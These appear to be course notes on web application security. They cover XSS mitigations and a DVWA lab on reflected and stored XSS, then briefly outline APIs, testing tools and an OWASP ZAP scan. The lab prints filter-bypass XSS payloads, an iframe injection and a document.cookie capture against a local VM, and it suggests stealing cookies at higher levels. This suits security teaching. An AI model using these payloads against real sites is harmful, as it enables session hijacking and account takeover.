- You can also access numerous XSS evasion technique vectors at this GitHub repository:
    - https://github.com/The-Art-of-Hacking/h4cker/blob/master/web_application_testing/xss_vectors.md

- XSS Mitigations
    - The following are general rules for preventing XSS attacks, according to OWASP:
        - Use an auto-escaping template system
        - Never insert untrusted data except in allowed locations
        - Use HTML escape before inserting untrusted data into HTML element content
        - Use attribute escape before inserting untrusted data into HTML common attributes
        - Use JavaScript escape before inserting untrusted data into JavaScript data values
        - Use CSS escape and strictly validate before inserting untrusted data into HTML-style property values
        - Use URL escape before inserting untrusted data into HTML URL parameter values
        - Sanitize HTML markup with a library such as ESAPI to protect the underlying application
        - Prevent DOM-based XSS by following OWASP's recommendations at:
            - https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html
        - Use the **HTTPOnly** cookie flag
        - Implement content security policy
        - Use the **X-XSS-Protection** response header

- You should also convert untrusted input into a safe form, where the input is displayed as data to the user
    - This prevents the input from executing as code in the browser
    - To do this, perform the following HTML entity encoding:
        - Convert & to **&amp;.**
        - Convert < to **&lt;**.
        - Convert > to **&gt;.**
        - Convert " to **&quot;.**
        - Convert " to **&#x27;.**
        - Convert / to **&#x2F;.**
- The following are additional best practices for preventing XSS attacks:
    - Escape all characters (including spaces but excluding alphanumeric characters) with the HTML entity **&#xHH;** format (where **HH** is a hex value)
    - Use URL encoding only, not the entire URL or path fragments of a URL, to encode parameter values
    - Escape all characters (except for alphanumeric characters), with the **\uXXXX**
        - Unicode escaping format (where **X** is an integer)
    - CSS escaping supports **\XX** and **\XXXXXX**, so add a space after the CSS escape or use the full amount of CSS escaping possible by zero-padding the value
    - Educate users about safe browsing to reduce their risk of falling victim to XSS attacks
- XSS controls are now available in modern web browsers
- **NOTE** One of the best resources that lists several mitigations against XSS attacks and vulnerabilities is the OWASP Cross-Site Scripting Prevention Cheat Sheet, available at:
    - https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

# Lab - Cross Site Scripting

- Part 1: Perform Reflective Cross Site Scripting Exploits
  - Step 1: Log into DVWA
    - From the Kali Linux VM, open a browser and navigate to the DVWA application
    - Enter the following URL into the browser http://10.6.6.13
    - At the login prompt, enter the credentials: **admin/password**
  - Step 2: Perform a Reflected XSS attack at Low security level.
    - Select **DVWA Security** in the left menu and select **Low** in the Security Level dropdown. Click **Submit**
    - Select **XSS (Reflected)** from the left menu
    - Type the string **Reflected_Test** in the **What's your name?** box and click **Submit**
      - You will see the message **Hello Reflected_Test** appear
    - Enter **CTRL+U** on the keyboard to view the source code of the page
    - Search for the string **Hello Reflected_Test** by entering CTRL+F to open a search box
      - The presence of the string in the page source HTML indicates that values entered in a user response text field are inserted into the source code for the page
      - This indicates to an attacker that the page may be vulnerable to reflected XSS attacks
    - Close the source code window and return to the Reflected XSS Vulnerability page
    - Enter the following payload in the **What's your name?** box and click **Submit**
      - **<script>alert("You are hacked!")</script>**
        - An alert popup box will appear with the words **You are hacked!**

            - This means the site is vulnerable to Reflected XSS attacks and we have successfully exploited the vulnerability
    - Select and copy the URL for the compromised page
        - Open a new browser tab and paste the URL into the URL field and press <Enter>
        - You should see the same web page appear displaying the **You are hacked!** popup box. This means that if a user opens the URL a malicious script will execute. The alert box is used to simulate a malicious script in this lab
        - In an ethical hacking engagement, you would try inserting a simple test script into input fields to see if the script executes. If so, the website is vulnerable to reflected XSS attacks. You could then distribute the link in a phishing attack to determine the level of security awareness among your customers' employees
- Step 3: Perform a Reflected XSS attack at Medium security level
    - You will attempt the same attack, but this time the security level of the Web site will be Medium
        - Select **DVWA Security** in the left menu and select Medium in the Security Level dropdown. Click **Submit**
        - Select **XSS (Reflected)** in the left menu
        - Again, enter the following payload in the **What's your name?** box and click **Submit**
            - **<script>alert("You are hacked!")</script>**
                - You will see a Hello response, but this time no pop up will appear. This indicates that the script did not execute. Note that the script is displayed as literal text

            - We can analyze the code in the backend of the web site to investigate the reason
    - Click the **View Source** button on the bottom right of the page and review the PHP code
        - **Note:** On a real web server, we would not have access to this backend source code, but here on DVWS we do
    - Note the line:
        - **$name = str_replace ( '<script>', '',  $_GET[ 'name' ] );**
            - This source code creates a filter, with **str_replace()** function, that removes the **<script>** tag in our payload and replaces it with a null value
            - This renders the payload script ineffective, so the attack failed, and no popup window is displayed. Because this script is only filtering out <script> in lower case, we can try and get around the filter by using a different tag in the payload. We will use **<ScRipt>**
    - Close the source code window and return to the Reflected XSS Vulnerability page
    - Enter the following payload in the **What's your name?** box and click **Submit**
        - **<ScRipt>alert("You are hacked!")</ScRipt>**
- Step 4: Perform a Reflective XSS attack at High security level
    - The same attack will be attempted, but this time the security level of the website will be High
        - Select **DVWA Security** in the left menu and select **High** in the Security Level dropdown. Click **Submit**
        - Select **XSS (Reflected)** in the left menu
        - Enter the following payload in the **What's your name?** box and click **Submit** (Note the use of underscores to replace spaces)

        - **<ScRipt>alert("You_are_hacked!")</ScRipt>**
            - There is a Hello message and no alert pop up box. Again, we can analyze the backend source code to investigate
    - Click the **View Source** button and review the PHP code
        - Note the following line:
            - **$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );**
                - In this code, the developer used a regular expression to replace any form of the **<script>** tag, no matter what case of the characters is used, with a null value
    - To bypass this filter, we must use another HTML tag instead of **<script>** to attack the site
        - Close the source code window and return to the Reflected XSS Vulnerability page
    - Enter the following payload in the **What's your name?** box and click **Submit** (Note the use of underscores to replace spaces)
        - **<img src=x onerror=alert("You_are_hacked!")>**
            - The XSS popup box will appear this time. We successfully bypassed the filter and exploited the Reflected XSS vulnerability in DVWA at High level security
- Part 2: Perform Stored Cross Site Scripting Exploits
    - With the stored XSS exploit, you enter a malicious script through user input and the script is stored on the target server in a message forum, database, visitor log, or comment field. When a user visits the target, the server exposes the user to the malicious code
    - Step 1: Perform a Stored XSS attack at Low security level

- Exploiting stored XSS at low level security is easy because there are no security measures in place. You can simply submit a <script> to achieve the exploit
  - Select **DVWA Security** in the left menu and select **Low** in the Security Level dropdown. Click **Submit**
  - Select **XSS (Stored)** in the left menu
  - Type the string **XSS Test#1** in the **Name*** field and type **Stored XSS Test** in the **Message *** field. click **Sign Guestbook**
  - Enter **CTRL+U** on the keyboard to view the page source code. Enter **CTRL+F** to search for the **Test#1** and **Stored XSS Test** strings
    - Both strings, **Test#1** and **Stored XSS Test**, will be in the page source code indicating that the two input fields may be vulnerable to a Stored XSS attack
  - Close the source code window and return to the Stored XSS Vulnerability page
  - Enter **Test#1** in the **Name *** box and enter the following payload in the **Message *** field and click **Sign Guestbook**
    - **<script>alert("You are hacked!")</script>**
      - An XSS alert popup box will appear with the words **You are hacked!**
      - This means the site was vulnerable to stored XSS attacks and we have successfully exploited the vulnerability
  - Refresh the page. If alerted, click **Resend** to display the page. The XSS alert popup box will appear again
    - Because the XSS payload is stored in the guestbook, the alert popup box will appear each time the page is refreshed

            - Before proceeding to the next step, clear the XSS payload from the page. Click **Setup / Reset DB** in the left menu then click **Create / Reset Database**
  - Step 2: Perform a Stored XSS attack at Medium security level
    - The same attack will be attempted, but this time the security level of the Web site will be changed to Medium
    - Exploiting reflected XSS at medium level security is not difficult. Using <script> will be rejected but changing it to a different case such as <ScRipt> will bypass the security and achieve the exploit
      - Select **DVWA Security** in the left menu and select **Medium** in the Security Level options dropdown. Click **Submit**
      - Select **XSS (Stored)** in the left menu
      - Type the string **XSS Test#1** in the **Name*** field and type **Stored XSS Test** in the **Message *** field. click **Sign Guestbook**
      - Enter **CTRL+U** on the keyboard to view the page source code. Enter **CTRL+F** to search for the **Test#1** and **Stored XSS Test** strings
        - Both strings will be in the page source code indicating that the two input fields may be vulnerable to a Stored XSS attack
      - Close the source code window and return to the Vulnerability page
      - Enter **Test#1** in the **Name *** box and enter the following payload in the **Message *** box and click **Sign Guestbook**
        - **<script>alert("You are hacked!")</script>**
          - No popup box should appear. Refreshing the page should not cause the alert popup box to appear either
          - This means that there is code in the backend that is sanitizing the user input from the **Message *** field to prevent

scripts from being submitted. You can see the modified input in the last rectangle message box below the input fields

- Click the **View Source** button and review the PHP source code and investigate
    - You will see two blocks of code with the word **Sanitize**
    - The first block of code, under **// Sanitize message input**, contains two PHP functions for performing input sanitization
        - The **strip_tags()** function removes all html tags from the message field before storing them in the database
        - The **htmlspecialchars()** function converts all special characters into equivalent HTML entities so they are not reflected back in the browser
    - The second block of code, under **// Sanitize name input**, performs input sanitation on the **Name *** field
        - It contains the **str_replace()** function which replaces any occurrence of the **<script>** tag with a null value
        - This disables the script completely
        - We can attempt to bypass the security on the **Name *** field by using some other payload that does not contain **<script>** tags
- Close the source code window
- Before entering any payload into the **Name *** field, the max character length restriction of 10 characters on the field must be increased. This is a client-side setting so it is easy to change with the following steps:
    - Right-click in the **Name *** field and select **Inspect**. This opens the Web Developer Tools window and displays the page source code

            - Find and double-click **maxlength** in the page source and change it from **10** to **100**. The maxlength property is inside the <input> tag for the text field
            - Press **Enter** on the keyboard to apply the changes
            - Close the Web Developer's Tools Window
                - With the **maxlength** restriction changed, the XSS payload can now be entered into the **Name** * field
                - **Note:** Changing the **maxlength** parameter does not persist. If you refresh the page, for example, the setting needs to be changed again
        - Return to the Vulnerability page and enter the following payload in the **Name** * field
            - **<ScRipt>alert("You are hacked!")</ScRipt>**
        - In the **Message** * field you can type any text you like and then click **Sign Guestbook**
            - An XSS alert popup box will appear with the words **You are hacked!**
            - Because the XSS payload is stored in the guestbook, the alert popup box will appear each time the page is refreshed or each time other users visit the page
            - The popup confirms you have successfully exploited Stored XSS vulnerability at the Medium level of security
        - Before proceeding to the next step, clear the XSS payload from the page. Click **Setup / Reset DB** in the left menu then click **Create / Reset Database**
    - Step 3: Perform a Stored XSS attack at High security level
        - You will attempt the same attack, but this time the security level of the Web site will be set to High

- At high level the security code whitelists <scripts> and all else is rejected. However, other tags, such as svg will work
    - Select **DVWA Security** in the left menu and select **High** in the Security Level dropdown. Click **Submit**
    - Select **XSS (Stored)** in the left menu
    - Type the string **Test#1** in the **Name*** field and type **Stored XSS Test** in the **Message *** field. Click **Sign Guestbook**
    - Enter **CTRL+U** on the keyboard to view the page source code. Enter **CTRL+F** to search for the **Test#1** and **XSS Test** strings
        - Both **Test#1** and **XSS Test** should be in the page source code indicating that the two input fields may be vulnerable to a Stored XSS attack
    - Close the page source code tab and return to the Vulnerability page
    - Enter **Test#1** in the **Name *** box and enter the following payload in the **Message *** box and click **Sign Guestbook**
        - **<ScRipt>alert("You are hacked!")</ScRipt>**
            - No popup box will appear. Refreshing the page will not cause the alert popup box to appear either
            - This means that there is code in the site backend that is sanitizing the user input from the **Message *** field
    - Click the **View Source** button and review the PHP source code and investigate
        - You will see two blocks of code
        - As before with the Medium security, the first block of code, under **// Sanitize message input**, contains two php functions for performing input sanitization

        - The **strip_tags()** function removes all html tags from the message field before storing them in the database
        - The **htmlspecialchars()** function converts all special characters into equivalent HTML characters so they are not reflected back in the browser
    - The second block of code, under **// Sanitize name input**, is performing input sanitation on the **Name *** field
        - It contains the **preg_replace()** function
        - This function uses a regular expression to replace any occurrence of the **<script>** tag, regardless of character case, with a null value
    - We can attempt to bypass the security on the **Name *** field by using some other payload that does not contain **<script>** tags
- Before entering any payload into the **Name *** field, it will be necessary to change the max character length restriction on the field, as was done above
    - With the **maxlength** restriction changed, the XSS payload can now be entered into the **Name *** field
- Return to the Vulnerability page and enter the following payload in the **Name *** field (Note the use of underscores to replace spaces)
    - **<svg onload=alert("You_are_hacked!")>**
- In the **Message *** field, you can type any text you like and then click **Sign Guestbook**
    - An XSS alert popup box will appear with the message **"You_are_hacked!"**
    - Because the XSS payload is stored in the guestbook, the alert popup box will appear each time the page is refreshed

            - The popup confirms you have successfully exploited a Stored XSS vulnerability at High security level
        - Before proceeding to the next step, clear the XSS payload from the page. Click **Setup / Reset DB** in the left menu then click **Create / Reset Database**
- Step 4: Perform a stored iframe exploit
    - Select **DVWA Security** in the left menu and select **Low** in the Security Level dropdown. Click **Submit**
    - Select **XSS (Stored)** in the left menu
    - Type the string **iframe** in the **Name*** field and type the following message in the **Message** * field. click **Sign Guestbook**
        - **<iframe src="http://h4cker.org"></iframe>**
            - The H4cker website should now be displayed under the iframe test message
            - This is a powerful exploit because the threat actor could send the browser to a malicious website
    - Before proceeding to the next step, clear the XSS payload from the page. Click **Setup / Reset DB** in the left menu then click **Create / Reset Database**
- Step 5: Perform a stored cookie exploit
    - Stealing the cookies of website visitors has security implications
    - Cookies contain information about how and when users visit a web site and sometimes authentication information, such as usernames and passwords
    - Without proper security measures, a threat actor can capture cookies and use them to impersonate specific users and gain access to their information and accounts
        - Select **DVWA Security** in the left menu and select **Low** in the Security Level options dropdown. Click **Submit**
        - Select **XSS (Stored)** in the left menu

        - Type the string cookie in the **Name*** field and type the following message in the **Message *** field. click **Sign Guestbook**
            - **<script>alert(document.cookie)</script>**
                - A popup box with the cookie will be presented. This is a cookie that PHP uses to keep of track of running sessions
                - An exploit could modify the XSS script to have the cookie sent to another destination rather than just displaying it
    - Click **OK** in the pop-up box
    - Try to steal cookies at the medium and high security levels using techniques that you have learned in this lab

## Understanding Cross-Site Request Forgery (CSRF/XSRF) and Server-Side Request Forgery Attacks

## Understanding Clickjacking

- Clickjacking involves using multiple transparent or opaque layers to induce a user into clicking on a web button or link on a page that he or she was not intended to navigate or click
- The OWASP Clickjacking Defense Cheat Sheet provides additional details about how to defend against clickjacking attacks. The cheat sheet can be accessed at:
    - [https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet](https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet)

## Exploiting Security Misconfigurations

### Exploiting Directory Traversal Vulnerabilities

### Cookie Manipulation Attacks

## Exploiting File Inclusion Vulnerabilities

### Local File Inclusion Vulnerabilities

### Remote File Inclusion Vulnerabilities

## Exploiting Insecure Code Practices

### Comments in Source Code

### Lack of Error Handling and Overly Verbose Error Handling

### Hard-Coded Credentials

### Race Conditions

- A ***race condition*** occurs when a system or an application attempts to perform two or more operations at the same time
- However, due to the nature of such a system or application, the operations must be done in the proper sequence in order to be done correctly
- When an attacker exploits such a vulnerability, he or she has a small window of time between when a security control takes effect and when the attack is performed
- The attack complexity in race conditions is very high. In other words, race conditions are very difficult to exploit

## Unprotected APIs

- ***Application programming interfaces*** (***APIs***) are used everywhere today
- A large number of modern applications use APIs to allow other systems to interact with the application
- Unfortunately, many APIs lack adequate controls and are difficult to monitor
- The breadth and complexity of APIs also make it difficult to automate effective security testing
- There are a few methods or technologies behind modern APIs:
    - **Simple Object Access Protocol** (**SOAP**)
        - It uses ***XML***
        - You can find the latest SOAP specifications at:
            - https://www.w3.org/TR/soap
    - **Representational State Transfer** (**REST**)
        - It uses ***JSON***
    - **GraphQL**
        - GraphQL is a query language for APIs that provides many developer tools
        - GraphQL is now used for many mobile applications and online dashboards
        - Many different languages support GraphQL
        - You can learn more about GraphQL at:
            - https://graphql.org/code
- API documentation can include the following:
    - Swagger (OpenAPI)
    - Web Services Description Language (WSDL) documents
    - Web Application Description Language (WADL) documents

## Hidden Elements

## Lack of Code Signing

- Code signing (or image signing) involves adding a digital signature to software and applications to verify that the application, operating system, or any software has not been modified since it was signed

## Additional Web Application Hacking Tools

- **Burp Suite**:
  - It was created by a company called PortSwigger, which has a very comprehensive (and free) web application security online course at:
    - https://portswigger.net/web-security
    - This course provides free labs and other materials that can help you prepare for the PenTest+ and other certifications
- **OWASP ZAP**:
  - Is a collection of tools including proxy, automated scanning, fuzzing, and other capabilities that can be used to find vulnerabilities in web applications
  - You can download OWASP ZAP, which is free, from: https://www.zaproxy.org
- There are other, more modern tools available to perform similar reconnaissance (including enumerating files and directories)
  - The following are some of the most popular of them:
    - **gobuster**: This tool, which is similar to DirBuster, is written in Go. You can download gobuster from https://github.com/OJ/gobuster
    - **ffuf**: This very fast web fuzzer is also written in Go. You can download ffuf from https://github.com/ffuf/ffuf
    - **feroxbuster**: This web application reconnaissance fuzzer is written in Rust. You can download feroxbuster from https://github.com/epi052/feroxbuster

- All of these tools use wordlists - that is, files containing numerous words that are used to enumerate files and directories and crack passwords

## Lab - Use the OWASP Web Security Testing Guide

- The ***Open Worldwide Application Security Project*** (***OWASP***) nonprofit foundation developed the ***Web Security Testing Guide*** (***WSTG***) to test the most common web application security issues
  - The guide is useful for various stakeholders such as developers, software testers, security specialists, and project managers
  - The OWASP Web Security Testing Guide is a free tool that is available to organizations and individuals
  - The testing guide is also a useful tool for ethical hacking. Ethical hackers can use the guide to test their clients' running web applications for common security vulnerabilities
  - In this lab, you will review the WSTG and then scan a web application for vulnerabilities using the ***OWASP Zed Attack Proxy*** (***ZAP***)
    - You will investigate some of the vulnerabilities that were discovered and reference one back to the WSTG
- Part 1: Investigate the WSTG
  - Step 1: Explore the OWASP WSTG Project Site
    - Navigate to the OWSAP Web Security Testing Guide site at https://owasp.org/www-project-web-security-testing-guide/
    - Review the information on the main page
    - Click the Release Versions tab
    - Click the most recent released version and review the Table of Contents
  - Step 2: Review the content
    - Click and review the Foreword by Eoin Keary in the Table of Contents
    - Return to the Table of Contents and select Introduction

        - Return to the Table of Contents and select OWASP Testing Framework
        - Return to the Table of Contents and select Web Application Security Testing
        - Return to the Table of Contents and select Reporting
    - 
- Part 2: Scan a Website and Investigate Vulnerability References
    - Step 1: Open ZAP and start a scanning
        - Start the Kali VM as needed. Navigate to the Kali menu. Search for zap and start the OWASP Zap scanner
        - Click the topmost radio button to persist the session. This means that you can return to the session at a later time
        - Close the Manage Add-ons dialog window
        - In the ZAP main window, click the Automated Scan to initiate a scan
        - In the URL to Attack field, enter **172.17.0.2/dvwa**
        - Click the Attack button to begin the scan
            - The scan will should take less than 10 minutes to complete
        - First, ZAP uses a web spider to crawl the URL to identify the resources that are available there. It then will apply vulnerability scans to each resource
    - Step 2: Investigate the results
        - Select the **Alerts** tab if it is not already selected
            - When the scan finishes, you will be automatically switched to there
        - Locate and click the **Remote Code Execution – CVE-2012-1823** alert
            - Scroll through the details of the alert
        - Scroll down to the **Alert Tags** section of the vulnerability
            - Note the WSTG key and value
            - Click the **value** and use the **Ctrl-C** keys to copy the URL to the clipboard

        - Open a browser and paste the URL
            - Navigate to the WSTG site and read about the vulnerability and methods of testing for it
            - Review this information about the vulnerability to understand what WSTG offers to the penetration tester